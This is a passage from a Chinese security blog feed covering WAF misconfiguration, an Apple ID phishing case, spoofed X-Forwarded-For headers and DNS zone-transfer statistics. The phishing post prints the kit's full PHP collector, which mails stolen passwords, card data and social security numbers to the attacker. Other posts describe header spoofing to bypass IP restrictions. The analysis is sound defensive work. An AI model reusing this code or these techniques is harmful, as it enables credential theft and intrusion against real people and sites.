class="nc">ErrorDocument</span> 403 /error/XAMPP_FORBIDDEN.html.var <span class="p">&lt;/</span><span class="nl">LocationMatch</span><span class="p">&gt;</span></code></pre></figure> <p>如果照著預設的設定,以現成的案例來看,能夠存取 Apache Server 的系統狀態,其中可以看到網站所有連線以及 URI 等資料。</p> <p><a href="/assets/img/blog/20140718/2014-07-11-waf-configuration-security-issue-05.png"><img src="/assets/img/blog/20140718/2014-07-11-waf-configuration-security-issue-05.png" alt="預設開放 Apache 伺服器狀態" title="預設開放 Apache 伺服器狀態" /></a></p> <p>並且可以直接讀取 phpMyAdmin 介面,並且至資料庫中新增、修改、刪除資料,甚至直接上傳 webshell 進入主機。</p> <p><a href="/assets/img/blog/20140718/2014-07-11-waf-configuration-security-issue-06.png"><img src="/assets/img/blog/20140718/2014-07-11-waf-configuration-security-issue-06.png" alt="直接進入 phpMyAdmin 管理介面" title="直接進入 phpMyAdmin 管理介面" /></a></p> <p>XAMPP 也內建了網站記錄分析工具 webalizer,透過這個介面可以知道網站所有進入點的流量、統計數據等。</p> <p><a href="/assets/img/blog/20140718/2014-07-11-waf-configuration-security-issue-09.png"><img src="/assets/img/blog/20140718/2014-07-11-waf-configuration-security-issue-09.png" alt="網站記錄分析工具 webalizer" title="網站記錄分析工具 webalizer" /></a></p> <h3 id="小結">小結</h3> <p>如果建置了 WAF,有關 IP 的設定必須要從 WAF 支援的 HTTP Header 中取出使用者的 IP (REMOTE_ADDR),才能讓原本網站的 IP 限制生效。在這種設定錯誤或是對 WAF 架構不瞭解的情況下,WAF 反而成為駭客繞過 Private IP 限制的跳板,就如同為駭客開了一個後門。因此在使用資安設備時,必須瞭解其架構。別讓資安設備、安全機制,反而使得伺服器更不安全。</p> https://devco.re/blog/2014/07/18/waf-configuration-security-issue/ https://devco.re/blog/2014/07/18/waf-configuration-security-issue Fri, 18 Jul 2014 00:00:00 +0800 Apple ID 釣魚郵件案例 <p>今天又有不怕死的人寄來釣魚信了,這次是騙取 Apple ID。讓我們來看看這封信,其中內容有非常多破綻,也已經被 Gmail 直接定為 Spam 了,非常可憐。除了信件之外,釣魚的網頁本身也很值得我們借鏡,讓我們來看看這次的釣魚郵件案例。</p> <p><a href="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-01.png"><img src="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-01.png" alt="Apple ID 釣魚信" title="Apple ID 釣魚信" /></a></p> <!-- more --> <h3 id="如何判別釣魚信呢">如何判別釣魚信呢?</h3> <p>先來談談要如何判別釣魚信呢。我們可以從四個要素來看:</p> <ol> <li>標題</li> <li>寄件者</li> <li>內文</li> <li>連結</li> </ol> <h4 id="標題">標題</h4> <p>首先,這封信的標題非常假,一般來說公司不會使用這類標題,這種判斷比較需要經驗。釣魚信件會使用非常聳動、吸引你去做動作的標題。例如常見的「你的帳號遭到停用」、「更換帳號資訊通知」等。點下連結就會帶你去假造的頁面騙你輸入密碼,千萬別傻傻當真。</p> <h4 id="寄件者">寄件者</h4> <p>寄件者通常是釣魚信一定會加強假造的部分,利用官方存在的信箱或是他人的信箱寄信,加強你的信任。不過需要特別注意的是:</p> <p><strong>寄件者的欄位是可以假造、隨意填寫的,千萬不要直接信任。</strong></p> <p>以這封信為例,寄件者「[email protected]」是不存在的。當然這個欄位可以假造,但連假造都錯,實在是非常不用心。</p> <h4 id="內文">內文</h4> <p>信件的內文就是精華了,要怎麼做出一封很像官方的信件,又要誘使人去點選,實在是一門藝術。精心設計的釣魚信、社交工程、APT 郵件,通常都會針對受害者客製化,調查身邊的社交圈、常談的話題、常用的服務、會點擊的郵件,來製造一個一定會中獎的信件。</p> <p>當然很多時候攻擊者調查不足,還是會出現蛛絲馬跡的。例如來自中國的惡意郵件,常會出現「<strong>尊敬的用戶您好</strong>」這種在台灣人眼中看了很彆扭的詞彙。如果出現了不常見的用詞,就非常有可能是一個假造的惡意郵件,千萬不要傻傻的點選連結或附件。</p> <p>再回頭來以這封信為例,最大的破綻除了非制式的內文之外,就屬署名了。明明是假造「Apple Customer Support」的來信,最下面卻簽署「Microsoft Privacy and cookies Developers」,有沒有搞錯?可以再用點心嗎?</p> <h4 id="連結">連結</h4> <p>最後的重點就是信件中的釣魚連結了,通常這個連結會帶你前往一個長得跟官方網站一模一樣的登入頁面,騙你輸入帳號密碼登入來竊取。在點選超連結之前,一定要先看一下這個連結前往的位置是不是官方的位置,例如是 Apple 的信件通常就會是前往 Apple.com 自己的網域名稱。當然更要特別注意的是假造的網域名稱,例如使用「App1e.com」來偽裝成「Apple.com」,也是非常常見的。</p> <p>這封信中使用了最不用心的用法,就是直接拿釣魚網站的 URL 來當連結,一來長得跟官方網域根本不像,二來落落長的連結,到底是想要騙誰點選呢?</p> <h3 id="信件標頭藏有攻擊者的蛛絲馬跡">信件標頭藏有攻擊者的蛛絲馬跡</h3> <p>收到惡意郵件、釣魚郵件,一定要好好看信件的標頭檔(Header)。裡面通常可以看到攻擊者發信的來源,例如是自己架設的發信伺服器或者是使用肉雞來發信。</p> <p><a href="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-02.png"><img src="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-02.png" alt="Apple ID 釣魚信 Header" title="Apple ID 釣魚信 Header" /></a></p> <p>信件標頭最重要的就是「Received」這個部分,要由下往上閱讀。從這邊我們可以看到信件的流向,從攻擊發起者到發信伺服器,中間經過其他伺服器的轉送,最後到收到釣魚信件的郵件伺服器。因此從最下面的 Received 位置,我們可以知道攻擊者是從「[email protected]」來寄送信件的,因此 cloud.httpdns.co 很有可能就是攻擊者的伺服器,或者是被駭來發信的伺服器。</p> <p>如果覺得信件的標頭太長難以閱讀,可以利用 Google 提供的工具「<a href="https://toolbox.googleapps.com/apps/messageheader/">Google Apps Toolbox - Messageheader</a>」。只要把信件的標頭貼上,他就會自動分析信件的流向,如下圖。</p> <p><a href="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-08.png"><img src="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-08.png" alt="檢查信件 header" title="檢查信件 header" /></a></p> <h3 id="釣魚網頁也請你注重安全啊">釣魚網頁,也請你注重安全啊。</h3> <p>接著我們來看一下釣魚頁面。通常「正常」的釣魚頁面都會做得跟官方一模一樣,因為通常攻擊者都會直接把官方網站上面的 HTML 直接下載下來修改。如果有做得不像的,就真的是太不用心的攻擊者。</p> <p>我們可以看到這個釣魚頁面做得非常像,上面要你輸入帳號、密碼、姓名、生日、信用卡號等資訊,非常惡劣。唯有網址實在是太假,希望沒有人眼拙真的以為這是 Apple 的網站。</p> <p><a href="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-04.png"><img src="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-04.png" alt="Apple ID 釣魚網頁" title="Apple ID 釣魚網頁" /></a></p> <p>秉持的資安研究員的好習慣,我們把網址子目錄去掉,看看網站的根目錄長什麼樣子,結果讓人跌破眼鏡。</p> <p><a href="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-03.png"><img src="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-03.png" alt="釣魚網頁開放目錄瀏覽" title="釣魚網頁開放目錄瀏覽" /></a></p> <p><strong>釣魚網站也請你注重安全啊!</strong>這個網站大剌剌的開著目錄索引,讓我們可以看到網站上的各個目錄、檔案。除了 Apple 的釣魚網頁之外,甚至有釣魚網頁的原始碼「connect-info.zip」,更有著其他釣魚網頁在同個站上。</p> <p><a href="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-05.png"><img src="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-05.png" alt="站上其他釣魚頁面" title="站上其他釣魚頁面" /></a></p> <p>既然可以瀏覽,那我們來看看釣魚網頁的原始碼寫得怎樣。抓下來解開之後會看到完整的釣魚網頁,以及接收受騙人資料的主程式「Snd.php」。</p> <p><a href="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-06.png"><img src="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-06.png" alt="下載釣魚網頁原始碼" title="下載釣魚網頁原始碼" /></a></p> <p>釣魚網頁的程式寫得非常簡單,僅把網頁上接收到的被害人資料、IP,寄送到他的信箱「 [email protected] 」,寄送完畢後會自動導向到官方的頁面偽裝。</p> <p><a href="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-07.png"><img src="/assets/img/blog/20140703/2014-07-03-apple-id-phishing-scam-07.png" alt="釣魚網頁原始碼" title="釣魚網頁原始碼" /></a></p> <p>如果釣魚網頁寫得不好,甚至我們有機會可以攻擊他釣魚網頁上的漏洞,直接取得主機的權限,解救世人。從原始碼我們一目了然釣魚網頁的行為、寫法,也可以尋找有無攻擊的機會。</p> <h4 id="釣魚網頁原始碼備份">釣魚網頁原始碼備份</h4> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nv">$ip</span> <span class="o">=</span> <span class="nb">getenv</span><span class="p">(</span><span class="s2">"REMOTE_ADDR"</span><span class="p">);</span> <span class="nv">$hostname</span> <span class="o">=</span> <span class="nb">gethostbyaddr</span><span class="p">(</span><span class="nv">$ip</span><span class="p">);</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"------------+| AppLe VbV |+------------</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"Apple ID : "</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee000'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"Password : "</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee001'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"Full Name : "</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee01'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"Date of Birth : "</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee02'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"/"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">""</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee3'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"/"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">""</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee4'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"Number Of Credit Card : "</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee5'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"CVC (CVV) : "</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee6'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"Expiration Date : "</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee7'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"/"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">""</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee8'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"Social Security Number : "</span><span class="mf">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'donnee9'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"------------+| APpLe VBV |+------------</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsmg</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"Fr0m </span><span class="nv">$ip</span><span class="s2"> </span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilsnd</span> <span class="o">=</span> <span class="s2">"[email protected]"</span><span class="p">;</span> <span class="nv">$bilsub</span> <span class="o">=</span> <span class="s2">"Apple Result | Fr0m </span><span class="nv">$ip</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilhead</span> <span class="o">=</span> <span class="s2">"From: Apple Results &lt;[email protected]&gt;"</span><span class="p">;</span> <span class="nv">$bilhead</span> <span class="mf">.</span><span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'eMailAdd'</span><span class="p">]</span><span class="mf">.</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$bilhead</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"MIME-Version: 1.0</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$arr</span><span class="o">=</span><span class="k">array</span><span class="p">(</span><span class="nv">$bilsnd</span><span class="p">,</span> <span class="nv">$IP</span><span class="p">);</span> <span class="k">foreach</span> <span class="p">(</span><span class="nv">$arr</span> <span class="k">as</span> <span class="nv">$bilsnd</span><span class="p">)</span> <span class="nb">mail</span><span class="p">(</span><span class="nv">$bilsnd</span><span class="p">,</span><span class="nv">$bilsub</span><span class="p">,</span><span class="nv">$bilsmg</span><span class="p">,</span><span class="nv">$bilhead</span><span class="p">);</span> <span class="nb">header</span><span class="p">(</span><span class="s1">'Location:https://itunesconnect.apple.com/WebObjects/iTunesConnect.woa/'</span><span class="p">);</span> <span class="cp">?&gt;</span></code></pre></figure> <h3 id="釣魚郵件不死別再把自己當成肥羊了">釣魚郵件不死,別再把自己當成肥羊了!</h3> <p>釣魚攻擊最早從 1995 年就開始盛行,一直到快 20 年後的今天,都還是一個非常簡單又有效率的攻擊手法。收到郵件千萬別傻傻的輸入自己的個資、帳號密碼,仔細看一下攻擊者的破綻,別讓他得逞了。</p> <p>如果有發現疑似釣魚網站,又無法確認,可以到 <a href="http://www.phishtank.com/">PhishTank</a> 來查查看,找到釣魚網站也可以投稿一下幫助其他人!</p> https://devco.re/blog/2014/07/03/apple-id-phishing-scam/ https://devco.re/blog/2014/07/03/apple-id-phishing-scam Thu, 03 Jul 2014 00:00:00 +0800 如何正確的取得使用者 IP? <p>很多網站都會有偵測使用者 IP 的功能,不管是判斷使用者來自哪邊,或者是記錄使用者的位置。但是你知道嗎?網路上大多數的教學全部都是「錯誤」的。正確的程式寫法可以確保知道訪客的 IP,但是錯誤的寫法卻可能讓網站管理者永遠不知道犯罪者的來源。</p> <p>這次我們單就偵測 IP 的議題來探討各種錯誤的寫法。</p> <!-- more --> <h3 id="你知道網路上的教學是不安全的嗎">你知道網路上的教學是不安全的嗎?</h3> <p>我們先來看一下網路上的教學,讓我們 Google 找一下「<a href="https://www.google.com.tw/search?q=php+取得+ip">PHP 取得 IP</a>」,就可以看到許多人熱心的教學,我們隨意挑一個常見的教學來看看。</p> <p>以 PHP 為例:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_CLIENT_IP'</span><span class="p">])){</span> <span class="nv">$myip</span> <span class="o">=</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_CLIENT_IP'</span><span class="p">];</span> <span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_X_FORWARDED_FOR'</span><span class="p">])){</span> <span class="nv">$myip</span> <span class="o">=</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_X_FORWARDED_FOR'</span><span class="p">];</span> <span class="p">}</span><span class="k">else</span><span class="p">{</span> <span class="nv">$myip</span><span class="o">=</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REMOTE_ADDR'</span><span class="p">];</span> <span class="p">}</span> <span class="k">echo</span> <span class="nv">$myip</span><span class="p">;</span> <span class="cp">?&gt;</span></code></pre></figure> <p>以 ASP.NET 為例:</p> <figure class="highlight"><pre><code class="language-c#" data-lang="c#"><span class="n">Dim</span> <span class="n">ClientIP</span> <span class="n">As</span> <span class="n">String</span> <span class="p">=</span> <span class="n">Request</span><span class="p">.</span><span class="nf">ServerVariables</span><span class="p">(</span><span class="s">"HTTP_X_FORWARDED_FOR"</span><span class="p">)</span> <span class="n">IF</span> <span class="n">ClientIP</span> <span class="p">=</span> <span class="n">String</span><span class="p">.</span><span class="n">Empty</span> <span class="n">Then</span> <span class="n">ClientIP</span> <span class="p">=</span> <span class="n">Request</span><span class="p">.</span><span class="nf">ServerVariables</span><span class="p">(</span><span class="s">"REMOTE_ADDR"</span><span class="p">)</span> <span class="n">End</span> <span class="n">IF</span></code></pre></figure> <p>這是一個很基本的寫法、很正確的想法,如果 HTTP Header 中包含「Client-IP」,就先以他當作真實 IP。若包含「X-Forwarded-For」,則取他當作真實 IP。若兩者都沒有,則取「REMOTE_ADDR」變數作為真實 IP。因為當使用者連線時透過代理伺服器時,REMOTE_ADDR 會顯示為代理伺服器 Proxy 的 IP。部分代理伺服器會將使用者的原始真實 IP 放在 Client-IP 或 X-Forwarded-For header 中傳遞,如果在變數中呼叫則可以取得真實 IP。</p> <p>但是你知道嗎?<strong>網路上 80% 的教學寫法全部都是「錯誤」的。</strong></p> <p>為什麼這樣說呢?請大家記得一件事情:「<strong>任何從客戶端取得的資料都是不可信任的!</strong>」</p> <h3 id="竄改-http-header">竄改 HTTP Header</h3> <p>「X-Forwarded-For」這個變數雖然「有機會」取得使用者的真實 IP,但是由於這個值是從客戶端傳送過來的,所以「有可能」被使用者竄改。</p> <p>舉例來說,我寫了一個小程式,偵測這些常見的 HTTP Header 判斷 IP。並且使用 <a href="http://portswigger.net/burp/">Burp Suite</a> 這個工具來修改 HTTP Request。</p> <p><a href="/assets/img/blog/20140619/2014-06-12-client-ip-detection-01-detech-user-ip.png"><img src="/assets/img/blog/20140619/2014-06-12-client-ip-detection-01-detech-user-ip.png" alt="顯示目前 IP 以及相關 header" title="顯示目前 IP 以及相關 header" /></a></p> <p>頁面上顯示目前我目前的 IP「49.50.68.17」,並且其他的 header 是空的。但如果我今天使用 Burp Suite 之類的 Proxy 工具自行竄改封包,加上 X-Forwarded-For 或是 Client-IP header:</p> <p><a href="/assets/img/blog/20140619/2014-06-12-client-ip-detection-02-burp-suite-add-http-header.png"><img src="/assets/img/blog/20140619/2014-06-12-client-ip-detection-02-burp-suite-add-http-header.png" alt="使用 Burp Suite 修改 HTTP Request Header" title="使用 Burp Suite 修改 HTTP Request Header" /></a></p> <p>修改完畢之後,再到原本的顯示 IP 介面,會發現網頁錯將我竄改的 header 當作正確的資料填入。</p> <p><a href="/assets/img/blog/20140619/2014-06-12-client-ip-detection-03-detech-user-ip.png"><img src="/assets/img/blog/20140619/2014-06-12-client-ip-detection-03-detech-user-ip.png" alt="顯示遭到竄改的 HTTP Header" /></a></p> <h3 id="使用代理伺服器-proxy-的情況">使用代理伺服器 Proxy 的情況</h3> <p>使用代理伺服器的情況下,HTTP Header 會有不同的行為。例如 Elite Proxy 如何隱藏客戶端的真實 IP。以下簡單介紹幾種常見的狀況給各位參考。</p> <h4 id="直接連線-沒有使用-proxy">直接連線 (沒有使用 Proxy)</h4> <ul> <li>REMOTE_ADDR: 客戶端真實 IP</li> <li>HTTP_VIA: 無</li> <li>HTTP_X_FORWARDED_FOR: 無</li> </ul> <h4 id="transparent-proxy">Transparent Proxy</h4> <ul> <li>REMOTE_ADDR: 最後一個代理伺服器 IP</li> <li>HTTP_VIA: 代理伺服器 IP</li> <li>HTTP_X_FORWARDED_FOR: 客戶端真實 IP,後以逗點串接多個經過的代理伺服器 IP</li> </ul> <h4 id="anonymous-proxy">Anonymous Proxy</h4> <ul> <li>REMOTE_ADDR: 最後一個代理伺服器 IP</li> <li>HTTP_VIA: 代理伺服器 IP</li> <li>HTTP_X_FORWARDED_FOR: 代理伺服器 IP,後以逗點串接多個經過的代理伺服器 IP</li> </ul> <h4 id="high-anonymity-proxy-elite-proxy">High Anonymity Proxy (Elite Proxy)</h4> <ul> <li>REMOTE_ADDR: 代理伺服器 IP</li> <li>HTTP_VIA: 無</li> <li>HTTP_X_FORWARDED_FOR: 無 (或以逗點串接多個經過的代理伺服器 IP)</li> </ul> <h3 id="實際情況">實際情況</h3> <p>在我們測試的過程中,通常我們都會讓瀏覽器自帶 X-Forwarded-For,並且自行填入 IP。常常會發現有一些網站出現如下的警告…</p> <p><a href="/assets/img/blog/20140619/2014-06-12-client-ip-detection-04-discuz-user-ip.png"><img src="/assets/img/blog/20140619/2014-06-12-client-ip-detection-04-discuz-user-ip.png" alt="Discuz! 顯示 IP 錯誤" /></a></p> <p>有沒有搞錯?「上次登入位置 127.0.0.1」?沒錯,這個是知名論壇套件「<a href="http://www.discuz.net/">Discuz!</a>」的功能,抓取 IP 的功能也是不安全的寫法。也有這樣的經驗,之前開著 X-Forwarded-For 的 header 到一些網站,竟然直接出現管理者後台!</p> <p>你覺得只有一般人撰寫的程式會有這樣的問題嗎?其實大型網站也可能會有類似的問題。這樣的寫法可能會讓管理者永遠抓不到犯罪者的真實 IP,甚至攻擊者可以竄改 header 插入特殊字元,對網站進行 SQL Injection 或者 Cross-Site Scripting 攻擊。</p> <h3 id="正確又安全的方式">正確又安全的方式</h3> <p>「<strong>任何從客戶端取得的資料都是不可信任的!</strong>」</p> <p>請各位開發者、管理者記住這個大原則,雖然這些 Request Header 可能含有真實 IP 的資訊,但是因為他的安全性不高,因此我們絕對不能完全信賴這個數值。</p> <p>那我們該怎麼處理呢?我的建議是記錄所有相關的 header 欄位存入資料庫,包含「REMOTE_ADDR」「X-Forwarded-For」等等,真正有犯罪事件發生時,就可以調出所有完整的 IP 資訊進行人工判斷,找出真正的 IP。當然從 header 存入的數值也可能會遭到攻擊者竄改插入特殊字元嘗試 SQL Injection,因此存入值必須先經過過濾,或者使用 Prepared Statement 進行存放。</p> <p>可以參考的 HTTP Header(依照可能存放真實 IP 的順序)</p> <ul> <li>HTTP_CLIENT_IP</li> <li>HTTP_X_FORWARDED_FOR</li> <li>HTTP_X_FORWARDED</li> <li>HTTP_X_CLUSTER_CLIENT_IP</li> <li>HTTP_FORWARDED_FOR</li> <li>HTTP_FORWARDED</li> <li>REMOTE_ADDR (真實 IP 或是 Proxy IP)</li> <li>HTTP_VIA (參考經過的 Proxy)</li> </ul> <p>「駭客思維」就是找出網站任何可能竄改的弱點,從網頁上的元素到 HTTP Header 都是嘗試的對象。因此身為防禦者一定要清楚的知道哪些數值是不能信賴的,不要再參考網路上錯誤的教學了!</p> https://devco.re/blog/2014/06/19/client-ip-detection/ https://devco.re/blog/2014/06/19/client-ip-detection Thu, 19 Jun 2014 00:00:00 +0800 Zone Transfer Statistics of Alexa Top 1 Million <h3 id="zone-transfer-世界大揭秘">Zone Transfer 世界大揭秘</h3> <p>還記得在上一篇文章 <a href="https://devco.re/blog/2014/05/05/zone-transfer-CVE-1999-0532-an-old-dns-security-issue/">Zone Transfer CVE-1999-0532 - 古老的 DNS 資安議題</a>中我們曾提到,若對全世界的網站進行 zone transfer 檢測恐怕會有更多驚人的案例嗎?正好 <a href="http://s3.amazonaws.com/alexa-static/top-1m.csv.zip">Alexa 提供了全球排名前一百萬名的網站資料</a>,我們就以這份資料為基礎來做一些統計吧!</p> <h3 id="有問題的-domain-總數與比例">有問題的 domain 總數與比例</h3> <ul> <li>79133,約佔所有受測目標的 8.014%</li> <li>上述 domain 的所有 zone file 共含有 22631804 筆 DNS 記錄</li> </ul> <p>由於在 Alexa Top 1M 中有許多資料是重複的 domain,另外也有些資料是 IP,在本次的檢測當中都不列入計算,因此受測 domain 總數僅有 987447 個,而非一百萬個。另外,本次掃描為求快速犧牲了部分準確率,因此實際數量應比 79133 更多。</p> <!-- more --> <h3 id="有問題的-top-level-domain-tld-數量">有問題的 Top-Level Domain (TLD) 數量</h3> <ul> <li>全世界 TLD 總數:567</li> <li>受測目標的 TLD 總數:316,佔全世界總數的 55.73%</li> <li>有 zone transfer 問題的 TLD 總數:220,佔受測目標的 69.62%</li> </ul> <p>目前 TLD 總數的數據取自於 <a href="https://data.iana.org/TLD/tlds-alpha-by-domain.txt">Internet Assigned Numbers Authority (IANA)</a>,不了解 TLD 是什麼的人可以參考<a href="http://en.wikipedia.org/wiki/Top-level_domain">這篇維基百科文章</a>。</p> <p>有趣的是,連一些新的 TLD 都有 zone transfer 問題,例如 .technology、.museum 等等,可見這真的很容易被大家忽略~</p> <h3 id="關於各個-tld-的統計數據">關於各個 TLD 的統計數據</h3> <ul> <li>Transferable domain in this TLD:在特定 TLD 中,有多少 domain 可任意執行 zone transfer</li> <li>Same TLD in Alexa top 1M:特定 TLD 在本次 987447 個受測目標中所佔的數量</li> <li>Percentage of same TLD in Alexa top 1M:特定 TLD 在 Alexa top 1M 內所有同樣 TLD 所佔的百分比(例:.com 即為 35230 / 527203 = 6.68%)</li> <li>Percentage of all transferable domain:某特定 TLD 可任意執行 zone transfer 的數量在本次所有可任意執行 zone transfer 所占的百分比(例:.com 即為 35230 / 79133 = 44.52%)</li> </ul> <p>由於原始數據太多,因此本文僅列出前 25 名。</p> <p><a href="/assets/img/blog/20140613/zone-transfer-statistics-of-TLD.png" title="Zone Transfer 問題的 TLD 相關統計"><img src="/assets/img/blog/20140613/zone-transfer-statistics-of-TLD.png" alt="Zone Transfer 問題的 TLD 相關統計" title="Zone Transfer 問題的 TLD 相關統計" /></a></p> <p>.tw 網域排第二十一名,幸好這次不是世界第一了,否則又是另類的台灣之光。</p> <h3 id="關於-name-server-的統計數據">關於 name server 的統計數據</h3> <ul> <li>Number of domain:該台 name server 有多少 domain 可任意執行 zone transfer</li> </ul> <p>由於原始數據太多,因此本文僅列出前 25 名。</p> <p><a href="/assets/img/blog/20140613/zone-transfer-statistics-of-name-server.png" title="Zone Transfer 問題的 name server 相關統計"><img src="/assets/img/blog/20140613/zone-transfer-statistics-of-name-server.png" alt="Zone Transfer 問題的 name server 相關統計" title="Zone Transfer 問題的 name server 相關統計" /></a></p> <blockquote> <p>可執行 zone transfer 且不重複的 namer server 共有 53830 個</p> </blockquote> <h3 id="關於-ip-位址的統計數據">關於 IP 位址的統計數據</h3> <ul> <li>有 7939172 個不重複的 IP 位址</li> <li>在全部 IP 位址中,有 704638 個是私有 IP 位址</li> <li>在私有 IP 位址中,有 598443 個是 10. 開頭,佔所有 IP 位址的 7.538%,佔私有 IP 位址的 84.929%</li> <li>在私有 IP 位址中,有 66270 個是 172.16~31 開頭,佔所有 IP 位址的 0.835%,佔私有 IP 位址的 9.405%</li> <li>在私有 IP 位址中,有 39925 個是 192.168 開頭,佔所有 IP 位址的 0.503%,佔私有 IP 位址的 5.666%</li> </ul> <h3 id="subdomain-的統計數據">subdomain 的統計數據</h3> <p>以下選出一些常被入侵者當作攻擊目標的 subdomain 來計算在 22631804 筆 DNS 記錄中分別各佔了幾筆,每個 subdomain 共有兩個統計結果,逗號左邊的統計結果代表以該 subdomain 開頭的 DNS 記錄,例如 git.devco.re。逗號右邊的統計結果則將前後有數字的 subdomain 也一併計入,例如 dns01.devco.re、01dns.devco.re、0dns001.devco.re 等等。</p> <ul> <li> <p>版本控制</p> <p>git: 583, 626</p> <p>gitlab: 138, 138</p> <p>svn: 1552, 1669</p> <p>subversion: 71, 72</p> <p>cvs: 284, 330</p> <p>hg: 115, 331</p> <p>mercurial: 18, 19</p> </li> <li> <p>開發與測試</p> <p>test: 14691, 20001</p> <p>dev: 8300, 10959</p> <p>stage: 1329, 1628</p> </li> <li> <p>資料庫</p> <p>db: 1190, 2537</p> <p>database: 150, 302</p> <p>sql: 2209, 3298</p> <p>mysql: 4045, 4998</p> <p>postgre: 11, 11</p> <p>redis: 21, 33</p> <p>mongodb: 6, 42</p> <p>memcache: 13, 72</p> <p>phpmyadmin: 455, 485</p> </li> <li> <p>後台管理</p> <p>manager: 188, 222</p> <p>staff: 481, 542</p> <p>member: 331, 376</p> <p>backend: 153, 177</p> </li> <li> <p>線上服務相關</p> <p>api: 1871, 2097</p> <p>search: 1469, 10987</p> <p>pic: 178, 293</p> <p>img: 1775, 3517</p> <p>service: 779, 959</p> <p>payment: 225, 238</p> <p>cache: 373, 627</p> </li> <li> <p>私有服務</p> <p>erp: 275, 318</p> <p>eip: 69, 80</p> <p>log: 227, 414</p> <p>nagios: 636, 736</p> <p>mrtg: 458, 565</p> 